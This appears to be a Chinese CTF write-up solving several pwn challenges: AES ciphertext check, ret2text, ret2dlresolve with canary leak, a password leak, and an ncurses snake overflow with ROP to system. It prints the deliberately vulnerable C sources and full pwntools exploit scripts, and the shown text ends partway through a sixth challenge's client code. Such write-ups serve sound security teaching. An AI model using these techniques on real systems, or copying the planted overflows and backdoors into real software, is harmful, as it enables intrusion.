新春杯pwn全解

题目链接

通过网盘分享的文件:新春杯.zip
链接:
https://pan.baidu.com/s/1B5P8KFIG8IHbJiCT4ptIpw?pwd=aaaa 提取码: aaaa
--来自百度网盘超级会员v4的分享

附件打不通的话可以手动再去编译一份

结合这段时间的学习历程,题目类型有单纯利用技巧,有逆向审计,也有框架模版考核

pwn1:aes-128

用一个送分当签到,补充一下aes加密的基础性的概念

这个的话是一个基本的加密的绕过

AES-128 单个 16 字节分组的 ECB 形式加密

轮密钥由主密钥通过 RotWord + S 盒(SubWord) + Rcon + XOR 迭代生成;S 盒是固定表,但它既用于加密的 SubBytes,也用于密钥扩展的 SubWord

首先是直接写死了S盒,不依赖key,也不依赖轮秘钥

key(主密钥):你一开始给的那 16/24/32 字节密钥

轮密钥(round keys):从主密钥“扩展/派生”出来、每一轮加密要用的子密钥

主密钥 key:16 字节

轮数:10 轮

需要轮密钥:11 份(round0 ~ round10,每轮 16 字节)

所以扩展后的总轮密钥 ek:11 × 16 = 176 字节

然后进行AddRoundKey、SubBytes、ShiftRows、MixColumns

题目源码

#include <stdio.h>
#include <stdint.h>


void shell(){
    system("/bin/sh");
}




static const uint8_t sbox[256] = {
  0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
  0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
  0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
  0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
  0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
  0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
  0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
  0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
  0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
  0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
  0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
  0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
  0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
  0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
  0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
  0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
};

static uint8_t xtime(uint8_t x){ return (uint8_t)((x<<1) ^ ((x & 0x80) ? 0x1B : 0)); }

static void AddRoundKey(uint8_t s[4][4], const uint8_t *rk){
  for(int c=0;c<4;c++) for(int r=0;r<4;r++) s[r][c] ^= rk[c*4 + r];
}
static void SubBytes(uint8_t s[4][4]){
  for(int r=0;r<4;r++) for(int c=0;c<4;c++) s[r][c] = sbox[s[r][c]];
}
static void ShiftRows(uint8_t s[4][4]){
  uint8_t t;
  t=s[1][0]; s[1][0]=s[1][1]; s[1][1]=s[1][2]; s[1][2]=s[1][3]; s[1][3]=t;
  t=s[2][0]; uint8_t t2=s[2][1]; s[2][0]=s[2][2]; s[2][1]=s[2][3]; s[2][2]=t; s[2][3]=t2;
  t=s[3][3]; s[3][3]=s[3][2]; s[3][2]=s[3][1]; s[3][1]=s[3][0]; s[3][0]=t;
}
static void MixColumns(uint8_t s[4][4]){
  for(int c=0;c<4;c++){
    uint8_t a0=s[0][c], a1=s[1][c], a2=s[2][c], a3=s[3][c];
    uint8_t m2a0=xtime(a0), m2a1=xtime(a1), m2a2=xtime(a2), m2a3=xtime(a3);
    uint8_t m3a0=(uint8_t)(m2a0 ^ a0), m3a1=(uint8_t)(m2a1 ^ a1), m3a2=(uint8_t)(m2a2 ^ a2), m3a3=(uint8_t)(m2a3 ^ a3);
    s[0][c] = (uint8_t)(m2a0 ^ m3a1 ^ a2 ^ a3);
    s[1][c] = (uint8_t)(a0 ^ m2a1 ^ m3a2 ^ a3);
    s[2][c] = (uint8_t)(a0 ^ a1 ^ m2a2 ^ m3a3);
    s[3][c] = (uint8_t)(m3a0 ^ a1 ^ a2 ^ m2a3);
  }
}

static void KeyExpansion128(const uint8_t key[16], uint8_t ek[176]){
  // ek: 11 round keys * 16 bytes
  for(int i=0;i<16;i++) ek[i] = key[i];
  uint8_t rcon = 0x01;
  int bytes = 16;

  while(bytes < 176){
    uint8_t t0=ek[bytes-4], t1=ek[bytes-3], t2=ek[bytes-2], t3=ek[bytes-1];

    if(bytes % 16 == 0){
      // RotWord
      uint8_t tmp=t0; t0=t1; t1=t2; t2=t3; t3=tmp;
      // SubWord
      t0=sbox[t0]; t1=sbox[t1]; t2=sbox[t2]; t3=sbox[t3];
      // Rcon
      t0 ^= rcon;
      rcon = xtime(rcon);
    }

    ek[bytes+0] = (uint8_t)(ek[bytes-16+0] ^ t0);
    ek[bytes+1] = (uint8_t)(ek[bytes-16+1] ^ t1);
    ek[bytes+2] = (uint8_t)(ek[bytes-16+2] ^ t2);
    ek[bytes+3] = (uint8_t)(ek[bytes-16+3] ^ t3);
    bytes += 4;
  }
}

static void AES128_EncryptBlock(const uint8_t in[16], uint8_t out[16], const uint8_t ek[176]){
  uint8_t s[4][4];
  for(int c=0;c<4;c++) for(int r=0;r<4;r++) s[r][c] = in[c*4 + r]; // column-major

  AddRoundKey(s, ek);                 // round 0
  for(int round=1; round<=9; round++){
    SubBytes(s); ShiftRows(s); MixColumns(s);
    AddRoundKey(s, ek + round*16);
  }
  SubBytes(s); ShiftRows(s);          // last round (no MixColumns)
  AddRoundKey(s, ek + 10*16);

  for(int c=0;c<4;c++) for(int r=0;r<4;r++) out[c*4 + r] = s[r][c];
}

int main(void){
  // 改这里:key 和 pt 都是 16 字节(一个块)
  uint8_t key[16] = { // 000102...0f
    0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f
  };
  uint8_t pt[16] = {  // 001122...ff
    0x00,0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88,0x99,0xaa,0xbb,0xcc,0xdd,0xee,0xff
  };

  uint8_t ek[176], ct[16];
  KeyExpansion128(key, ek);
  AES128_EncryptBlock(pt, ct, ek);

  // 读取用户输入的期望密文(32 hex)

  char expected[64];
  while(1){
  printf("input expected ciphertext (32 hex): ");
  if(!fgets(expected, sizeof(expected), stdin)) return 1;
  expected[strcspn(expected, "\r\n")] = 0;   // 去掉换行

  // 把 ct 转成 hex 字符串 got
  char got[33];
  for(int i=0;i<16;i++) sprintf(got + i*2, "%02x", ct[i]);
  got[32] = '\0';

  // 比较
  
  if (strcmp(got, expected) == 0) {
    printf("SUCCESS: match!\n");
    shell();
  } else {
    puts("FAIL: not match.");
  }
  }
  return 0;
}

我们拖进ida里面看的话会对aes这个架构清晰不少

这里首先构造轮秘钥,然后加密原文

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int n15; // [rsp+Ch] [rbp-164h]
  _QWORD v5[2]; // [rsp+10h] [rbp-160h] BYREF
  _QWORD v6[2]; // [rsp+20h] [rbp-150h] BYREF
  char v7[16]; // [rsp+30h] [rbp-140h] BYREF
  char s1[48]; // [rsp+40h] [rbp-130h] BYREF
  char s[64]; // [rsp+70h] [rbp-100h] BYREF
  _BYTE v10[184]; // [rsp+B0h] [rbp-C0h] BYREF
  unsigned __int64 v11; // [rsp+168h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  v5[0] = 0x706050403020100LL;
  v5[1] = 0xF0E0D0C0B0A0908LL;
  v6[0] = 0x7766554433221100LL;
  v6[1] = 0xFFEEDDCCBBAA9988LL;
  KeyExpansion128(v5, v10);
  AES128_EncryptBlock(v6, v7, v10);
  while ( 1 )
  {
    printf("input expected ciphertext (32 hex): ");
    if ( !fgets(s, 64, _bss_start) )
      break;
    s[strcspn(s, "\r\n")] = 0;
    for ( n15 = 0; n15 <= 15; ++n15 )
      sprintf(&s1[2 * n15], "%02x", (unsigned __int8)v7[n15]);
    s1[32] = 0;
    if ( !strcmp(s1, s) )
    {
      puts("SUCCESS: match!");
      shell();
    }
    else
    {
      puts("FAIL: not match.");
    }
  }
  return 1;
}

python里面有对应的专用库

安转的指令如下

python -m pip install -U pycryptodome

exp

这里的python库直接有对应的解密的方法。

from Crypto.Cipher import AES
import binascii

# 固定密钥和明文(与 C 代码一致)
key = bytes([0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,
             0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f])

plaintext = bytes([0x00,0x11,0x22,0x33,0x44,0x55,0x66,0x77,
                   0x88,0x99,0xaa,0xbb,0xcc,0xdd,0xee,0xff])

# 执行 AES-128 ECB 加密(无 padding,因为正好 16 字节)
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(plaintext)

# 转为小写 hex 字符串(32 字符)
expected_hex = binascii.hexlify(ciphertext).decode('utf-8').lower()

print("Correct ciphertext (32 hex):", expected_hex)
print("\nYou can input this to get a shell in the C program.")
#69c4e0d86a7b0430d8cdb78070b4c55a

远程还是卡输出,问题不大,能出flag就行

pwn2:ret2text-签到

这个题目是我之前出的一个题目,需要绕过glibc中free函数的检查

确保是一个指向合法地址的指针即可,避免检查chunk结构出现错误

题目源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void backdoor(){
    printf("backdoor called\n");
    system("/bin/sh");
}

void vuln(){
    char buf[0x40];
    void *p = malloc(0x100);
    printf("chunk_addr: %p\n",p);
    read(0,p,0x1000);
    memcpy(buf,p,0x100);
    
    free(p);
}

void init(){
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    setvbuf(stderr,0,2,0);
}
void gift() {
    __asm__(
        "pop %rdi\n"
        "ret\n"
    );
}

int main(){
    init();
    char buf[0x40];
    char *p = malloc(0x100);
    puts("input your name:");
    read(0,buf,0x40);
    puts("input your pasword:");
    read(0,p,0x100);
    if(strcmp(buf,"admin")==0&&strcmp(p,"123456")==0){
        puts("login success!");
        vuln();
    }else{
        puts("login failed!");
    }
}

exp

from pwn import *
io = process('./pwn')
#io = remote("175.27.251.122",33052)
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
rt = lambda x: io.recvuntil(x)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
rt("input your name:")
s("admin")
rt("input your pasword:")
s("123456")
rt('\n')
rt('\n')
rt('0x')
heap = int(io.recv(12),16)
print("heap:",hex(heap))
ret = 0x401254
bd = 0x401236
pd = flat(ret)
pd += b'a'*0x40
pd += flat(ret,ret,ret,bd)
#gdb.attach(io,"b *0x4012B3")
s(pd)
io.interactive()

pwn3:noputs

出的第一个题目,一开始单纯出一个,后来多加上一个伪随机数绕过

这里我们用随机化种子,这个<time.h>库来进行初始化种子绕过一下验证

然后我想了想,那个bug可能还存在,我发现这个系统调用的调用就很神奇

printf不能单纯被禁用,只能通过write禁用printf

加上泄露之后的和是下面这个源码,这里的编译的时候注意-lseccomp这个指令

题目源码

#include <stdio.h>
#include <time.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <unistd.h>

void init(){
    setvbuf(stderr, NULL, _IONBF, 0);   
    setvbuf(stdout,NULL,_IONBF,0);
    setvbuf(stdin,NULL,_IONBF,0);
}

void gift(){
    char buf[0x5];
    read(0,buf,0x5);
    printf(buf);
}

void box(){
    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    scmp_filter_ctx c = seccomp_init(SCMP_ACT_ALLOW);
    seccomp_rule_add(c, SCMP_ACT_ERRNO(1), SCMP_SYS(write),  1, SCMP_A0(SCMP_CMP_EQ, 1));
    seccomp_rule_add(c, SCMP_ACT_ERRNO(1), SCMP_SYS(writev), 1, SCMP_A0(SCMP_CMP_EQ, 1));
    seccomp_load(c);
}

int verify(char *lock){
    char buf[0x10];
    memset(buf,0,0x10);
    int sign;
    read(0,buf,0x10);
    sign = strcmp(lock,buf);
    if(sign){
    exit(1); 
    }
}


void shell(){
    system("/bin/sh");
}


int main(){
    init();
    gift();
    box();
    srand(time(NULL));
    int num = rand() % 100;  
    char lock[0x10];
    memset(lock,0,0x10);
    snprintf(lock, sizeof(lock), "%d", num);
    verify(lock);
    char buf[0x30];
    read(0, buf, 0x200);
    return 0;
}

exp

思路的话也不是很难,加载一下libc库初始化种子绕过验证,然后用ret2dlresolve这个利用模版套一下就行了

高版本编译没有这些片段,我们需要用低版本(22以下)的重新编译一次

指令的查询的方式如下

ROPgadget --binary noputs --only "pop|ret"

之后的话是利用延迟绑定机制的漏洞了

泄露一下canary,然后绕过随机数,最后利用延迟绑定机制获取shell即可。

from pwn import *
import ctypes
import time
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./noputs')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
io = process('./noputs')

pd = b'%7$p'
io.send(pd)


# 加载系统 libc(与目标程序相同)
libc2 = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
# 获取当前时间戳(与 C 中 time(0) 一致)
seed = int(time.time())
# 设置相同种子
libc2.srand(ctypes.c_uint(seed))
gdb.attach(io)
#sleep(1)
canary = int(io.recv(18).decode(), 16)
print(hex(canary))


# 生成第一个 rand() % 100,与 C 程序中的 v5 完全一致
rand_num = libc2.rand() % 100
io.send(str(rand_num).encode())


pop_rdi_ret = 0x00000000004016d3
pop_rsi_r15_ret = 0x00000000004016d1
ret = 0x000000000040101a
fake_link_map_addr = 0x404a00

def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
    #the address of each fake pointer
     fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
     fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
     fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)#这里的值就是伪造的.rel.plt的地址
     #fake structure
     fake_Elf64_Dyn_SYM =p64(0)+p64(st_value-0x8)
     fake_Elf64_Dyn_JMPREL = p64(0)+p64(fake_link_map_addr+0x28)
       # JMPREL point to the address of .rel.plt,which will be located in fake_link_map_addr+0x28
     r_offset = fake_link_map_addr - l_addr
     fake_Elf64_rela =p64(r_offset)+p64(0x7)+p64(0)
     #fake_link_map
     fake_link_map =p64(l_addr&(2**64-1))# 0x8
     fake_link_map+=fake_Elf64_Dyn_SYM   # 0x18
     fake_link_map+=fake_Elf64_Dyn_JMPREL# 0x28
     fake_link_map+=fake_Elf64_rela      # 0x40
     fake_link_map+=b"\x00"*0x28         # 0x68
     fake_link_map+=fake_Elf64_Dyn_STR_addr     # STRTAB pointer,0x70
     fake_link_map+=fake_Elf64_Dyn_SYM_addr     # SYMTAB pointer,0x78
     fake_link_map+=b"/bin/sh\x00".ljust(0x80,b'\x00') # 0xf8
     fake_link_map+=fake_Elf64_Dyn_JMPREL_addr  # JMPREL pointer
     return fake_link_map

plt0 = elf.get_section_by_name('.plt').header.sh_addr
pr(plt0)#401020
pr(elf.plt['read'])
l_addr=libc.sym['system'] - libc.sym['read']
st_value=elf.got['read']
fake_link_map=get_fake_link_map(fake_link_map_addr,l_addr,st_value)
payload = b'a'*0x38 +p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(fake_link_map_addr) + p64(0) + p64(elf.plt['read'])
payload += p64(ret) + p64(pop_rdi_ret) + p64(fake_link_map_addr+0x78) + p64(plt0+6) + p64(fake_link_map_addr) + p64(0)
#gdb.attach(io)
sleep(2)
io.send(payload)
pause()
io.send(fake_link_map)
io.interactive()

但是这个题目的远程的维护也需要

pwn4:snake_manager

一开始想模仿那个题目出个双向链表的国际赛题来着,结果发现短时间出不出来,就简化成了一个很简单的登录的问题。

题目源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <ncurses.h>
#include <fcntl.h>,
#define WIDTH 40
#define HEIGHT 20

#define STOP 0
#define LEFT 1
#define RIGHT 2
#define UP 3
#define DOWN 4
#define password_len 16

typedef struct {
    int x;
    int y;
}Point;

Point snake[0x100];
int length;
int foodX, foodY;
int direction;
int gameOver;
int score;

const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

void init(){
    setvbuf(stderr, NULL, _IONBF, 0);   
    setvbuf(stdout,NULL,_IONBF,0);
    setvbuf(stdin,NULL,_IONBF,0);
}
void menu(){
    printf("welcome to the game");
    puts("1.start game");
    puts("2.login admin");
}

void setup(){
    gameOver = 0;
    direction = STOP;
    snake[0].x = WIDTH/2;
    snake[0].y = HEIGHT/2;
    length = 4;
    score = 0;
    foodX = rand() % WIDTH;
    foodY = rand() % HEIGHT;
}

void draw(){
    clear();
    for(int i=0;i<WIDTH+2;i++) mvprintw(0,i,"#");
    for(int i=0;i<HEIGHT;i++){
        for(int j=0;j<WIDTH;j++){
            if(j==0) mvprintw(i+1,j,"#");
            //打印蛇头
            if(i==snake[0].y && j==snake[0].x){
                mvprintw(i+1,j+1,"O");
            }
            else{
            //打印蛇身和食物
                int isBody = 0;
                for(int k=1;k<length;k++){
                    if(i == snake[k].y && j == snake[k].x){
                        mvprintw(i+1,j+1,"o");
                        isBody = 1;
                        break;
                    }
                }
                if(!isBody&&i==foodY && j==foodX){
                    mvprintw(i+1,j+1,"F");
                }
                else if(!isBody){
                    mvprintw(i+1,j+1," ");
                }
            }
            //右边界
            if(j==WIDTH-1) mvprintw(i+1,j+1,"#");
    }
    }
    //下边界
    for(int i=0;i<WIDTH+2;i++) mvprintw(HEIGHT+1,i,"#");
    mvprintw(HEIGHT+2,0,"Score: %d",score);
    mvprintw(HEIGHT+3,0,"Press 'q' to quit");
}

int logic(){
    int prevX = snake[0].x;
    int prevY = snake[0].y;
    int prev2X, prev2Y;

    switch(direction){
        case LEFT:
        snake[0].x--;
        break;
        case RIGHT:
        snake[0].x++;
        break;
        case UP:
        snake[0].y--;
        break;
        case DOWN:
        snake[0].y++;
        break;
        defult:
        return;
    }

    //检查是否撞墙
    if(snake[0].x >= WIDTH || snake[0].x < 0 || snake[0].y >= HEIGHT || snake[0].y < 0){
        gameOver = 1;
    }
    //检查是否咬到自己
    char buf[0x30];
    for(int i=1;i<length;i++){
    if(snake[0].x == snake[i].x && snake[0].y == snake[i].y) {
        gameOver = 1;
        break;
    }
    //检查是否吃到食物
    if(snake[0].x == foodX && snake[0].y == foodY){
        score += 10;
        foodX = rand() % WIDTH;
        foodY = rand() % HEIGHT;
        length++;
    }
    //移动蛇身
    for(int i=1;i<length;i++){
        prev2X = snake[i].x;
        prev2Y = snake[i].y;
        snake[i].x = prevX;
        snake[i].y = prevY;
        prevX = prev2X;
        prevY = prev2Y;
    }
}
}
int game(){
    initscr();  
    init();
    noecho();
    curs_set(0);
    timeout(1000);
    keypad(stdscr,TRUE);
    setup();
    while(!gameOver){
        draw();
        int ch = getch();
        switch(ch){
            case KEY_LEFT:
                if(direction != RIGHT) direction = LEFT;
                break;
            case KEY_RIGHT:
                if(direction != LEFT) direction = RIGHT;
                break;
            case KEY_UP:
                if(direction != DOWN) direction = UP;
                break;
            case KEY_DOWN:
                if(direction != UP) direction = DOWN;
                break;
            case 'q':
                gameOver = 1;
                break;
        }
        logic();
    }
    mvprintw(HEIGHT/2,WIDTH/2-5,"Game Over!");
    mvprintw(HEIGHT/2+1,WIDTH/2-7,"Final Score: %d",score);
    refresh();
    sleep(2);
    endwin();
    return 0;
}
char crypto[0x30];
int main(){
    int sign;
    int time = 1;
    init();
    int fd = open("/dev/urandom", O_RDONLY);
    if (fd == -1) {
        perror("Failed to open /dev/urandom");
        return 1;
    }

    unsigned char rand_buf[password_len];
    if (read(fd, rand_buf, password_len) != password_len) {
        perror("Failed to read from /dev/urandom");
        close(fd);
        return 1;
    }
    close(fd);
    for (int i = 0; i < password_len; i++) {
    crypto[i] = charset[rand_buf[i] % (sizeof(charset) - 1)];
    }
    crypto[password_len] = '\0';
    while(1){
    char *name = malloc(0x20);
    char *password = malloc(0x20);
    size_t heap_list[0x2];
    heap_list[0]= (size_t)name;
    heap_list[1]= (size_t)password;
    menu();
    char choice;
    printf("> ");
    scanf(" %c",&choice);
    getchar(); // 吸收换行符
    if(choice == '1'){
        game();
    }
    else if(choice == '2'){
        puts("Enter admin name:");
        printf("> ");
        fgets(name,32,stdin);
        name[strcspn(name, "\n")] = 0; // 去除换行符
        heap_list[0]= (size_t)name;
        if(strcmp(heap_list[0],"admin")!=0){
            puts("No such user.");
            exit(1);
        }
        puts("Enter admin password:");
        printf("> ");   
        fgets(password,32,stdin);
        heap_list[1]= (size_t)password;
        password[strcspn(password, "\n")] = 0; // 去除换行符
        if(strcmp(heap_list[1],crypto)==0){
            puts("Welcome, admin!");
            sign = 1;
        }else{
            puts("Incorrect password.");
            printf("The correct password is: %s\n", crypto);
            free(name);
            free(password);
        }
        if(sign){
            char buf[64];
            puts("Enter your command:");
            read(0,buf,128);
            system(buf);
        }
    }
    else{
        puts("Invalid choice.");
        return 0;
    }
}
}

exp

from pwn import *
context.log_level = 'debug'
io = process('./server')
def cmd(choice):
    io.recvuntil(b'> ')
    io.sendline(str(choice).encode())
def login(name, password): 
    io.recvuntil(b'Enter admin name:\n> ')
    io.sendline(name)
    io.recvuntil(b'Enter admin password:\n> ')
    io.sendline(password)
cmd(2)
login(b'admin', b'12345')
io.recvuntil("The correct password is: ")
pasd = io.recvline().strip()
print(f"Correct password is: {pasd.decode()}")
cmd(2)
login(b'admin', pasd)
io.send('cat flag\n')
io.interactive()

pwn5:snake_game

这里我们设计一个功能程序,手搓一个贪吃蛇的c程序,在最后退出的时候构造溢出

这里键盘交互需要注意

gcc -fno-stack-protector
-z execstack
-no-pie -fno-PIE
-Wl,-z,norelro
-D_FORTIFY_SOURCE=0
-O0
-erroverflow.c -o overflow

题目源码

#include <stdlib.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <ncurses.h>
#include <string.h>

#define WIDTH 40
#define HEIGHT 20

#define STOP 0
#define LEFT 1
#define RIGHT 2
#define UP 3
#define DOWN 4

typedef struct {
    int x;
    int y;
}Point;

Point snake[0x100];
int length;
int foodX, foodY;
int direction;
int gameOver;
int score;
void init(){
    setvbuf(stderr, 0, 2, 0);   
    setvbuf(stdout,NULL,_IONBF,0);
    setvbuf(stdin,NULL,_IONBF,0);
}
void setup(){
    gameOver = 0;
    direction = STOP;
    snake[0].x = WIDTH/2;
    snake[0].y = HEIGHT/2;
    length = 4;
    score = 0;
    foodX = rand() % WIDTH;
    foodY = rand() % HEIGHT;
}

void draw(){
    clear();
    for(int i=0;i<WIDTH+2;i++) mvprintw(0,i,"#");
    for(int i=0;i<HEIGHT;i++){
        for(int j=0;j<WIDTH;j++){
            if(j==0) mvprintw(i+1,j,"#");
            //打印蛇头
            if(i==snake[0].y && j==snake[0].x){
                mvprintw(i+1,j+1,"O");
            }
            else{
            //打印蛇身和食物
                int isBody = 0;
                for(int k=1;k<length;k++){
                    if(i == snake[k].y && j == snake[k].x){
                        mvprintw(i+1,j+1,"o");
                        isBody = 1;
                        break;
                    }
                }
                if(!isBody&&i==foodY && j==foodX){
                    mvprintw(i+1,j+1,"F");
                }
                else if(!isBody){
                    mvprintw(i+1,j+1," ");
                }
            }
            //右边界
            if(j==WIDTH-1) mvprintw(i+1,j+1,"#");
    }
    }
    //下边界
    for(int i=0;i<WIDTH+2;i++) mvprintw(HEIGHT+1,i,"#");
    mvprintw(HEIGHT+2,0,"Score: %d",score);
    mvprintw(HEIGHT+3,0,"Press 'q' to quit");
}

void gift1(){
    asm("pop rdi; ret;");
}
void gift2(){
    char buf[0x5];
    read(0,buf,0x5);
    printf(buf);
}

void logic(){
    int prevX = snake[0].x;
    int prevY = snake[0].y;
    int prev2X, prev2Y;

    switch(direction){
        case LEFT:
        snake[0].x--;
        break;
        case RIGHT:
        snake[0].x++;
        break;
        case UP:
        snake[0].y--;
        break;
        case DOWN:
        snake[0].y++;
        break;
        defult:
        return;
    }

    //检查是否撞墙
    if(snake[0].x >= WIDTH || snake[0].x < 0 || snake[0].y >= HEIGHT || snake[0].y < 0){
        gameOver = 1;
    }
    //检查是否咬到自己
    char buf[0x30];
    for(int i=1;i<length;i++){
    if(snake[0].x == snake[i].x && snake[0].y == snake[i].y) {
        puts("Any last words?");
        endwin();
        gameOver = 1;
        fgets(buf,0x100,stdin);
        break;
    }
    if(snake[0].x == snake[i].x && snake[0].y == snake[i].y){
        char buf2[0x10];
        memcpy(buf2,buf,0x100);
    }
}
    //检查是否吃到食物
    if(snake[0].x == foodX && snake[0].y == foodY){
        score += 10;
        foodX = rand() % WIDTH;
        foodY = rand() % HEIGHT;
        length++;
    }
    //移动蛇身
    for(int i=1;i<length;i++){
        prev2X = snake[i].x;
        prev2Y = snake[i].y;
        snake[i].x = prevX;
        snake[i].y = prevY;
        prevX = prev2X;
        prevY = prev2Y;
    }
}

int main(){
    init();
    gift2();
    sleep(2);
    initscr();  
    noecho();
    curs_set(0);
    timeout(1000);
    keypad(stdscr,TRUE);
    setup();
    while(!gameOver){
        draw();
        int ch = getch();
        switch(ch){
            case KEY_LEFT:
                if(direction != RIGHT) direction = LEFT;
                break;
            case KEY_RIGHT:
                if(direction != LEFT) direction = RIGHT;
                break;
            case KEY_UP:
                if(direction != DOWN) direction = UP;
                break;
            case KEY_DOWN:
                if(direction != UP) direction = DOWN;
                break;
            case 'q':
                gameOver = 1;
                break;
        }
        logic();
    }
    mvprintw(HEIGHT/2,WIDTH/2-5,"Game Over!");
    mvprintw(HEIGHT/2+1,WIDTH/2-7,"Final Score: %d",score);
    refresh();
    sleep(2);
    endwin();
    return 0;
}

这个题目编译方式如下

gcc  -no-pie   snake.c -o snake -lseccomp -lncurses -masm=intel

exp

这里需要注意一下交互的前后关系

这个用栈迁移也可以的,可以更加自主的控制栈帧,尤其是对于不知道落脚的题目也是有不错的效果的

这里我关闭了偏移去做的,不关闭的libc需要调整一下去接收数据

from pwn import *
context.arch = "amd64"
context.os = "linux"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
io = process("./pwn", stdin=PTY, stdout=PTY, env={"TERM":"xterm-256color"})
libc = './libc.so.6'
pd = b'%7$p'
io.sendline(pd)
gdb.attach(io,"b *0x401A5A")
elf = ELF("./pwn")
canary = int(io.recv(18),16)
io.recv(timeout=0.2)
log.success("canary: "+hex(canary))

seq = [b"\x1bOC", b"\x1bOB", b"\x1bOD", b"\x1bOA"]
for s in seq:
    io.send(s)
    time.sleep(0.1)

buf = b""
deadline = time.time() + 5
while time.time() < deadline:
    chunk = io.recv(timeout=0.2)
    if not chunk:
        continue
    buf += chunk
    if b"Any last words?" in buf:
        log.success("saw Any last words?")
        break
pd = b'a'*0x38 + p64(canary) + b'a'*8 + p64(0x4016EE) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x401875)
pause()
io.sendline(pd)
lib = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))  
print(hex(lib))
pd = b'a'*0x38 + p64(canary) + b'a'*8 + p64(lib+next(libc.search(asm('ret'))))+p64(lib+next(libc.search(asm('pop rdi; ret'))))  +p64(lib+next(libc.search(b'/bin/sh'))) + p64(lib+libc.sym['system'])
io.interactive()

pwn6:server&&client

这个题目写一个基础的多程序的联动的题目,其实一开始单纯一个溢出,想了想,又加上了一个格式化字符串的考点。

这个题目套接字是需要不断断开和连接的,不能仅仅去建立连接,要不后续就不能通讯了,这个特点是通过调试发现的。

这里补充一下数据的接收,%p是多了一步转化,所以用ri,%s没有转化文本,所以是ru

而这个题目是输出的ascii的文本,所以是需要特别去处理的,正常情况是不会出现这种情况的

ru:解析“二进制字节流” → 按小端拼成 64-bit 数(地址泄露常用)
ri:解析“十六进制文本” → 把 ASCII hex 转成整数(打印 leak 常用)

题目源码

客户端程序的代码

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>

#define PORT 8080
#define BUF 1024

void menu() {
    puts("1. Leak something (format string test)");
    puts("2. Send binary exploit / interact with server");
    puts("3. Exit");
}

int connect_to_server() {
    int fd = socket(AF_INET, SOCK_STREAM, 0);
    if (fd < 0) {
        perror("socket");
        return -1;
    }

    struct sockaddr_in a;
    memset(&a, 0, sizeof(a));
    a.sin_family = AF_INET;
    a.sin_port = htons(PORT);
    inet_pton(AF_INET, "127.0.0.1", &a.sin_addr);

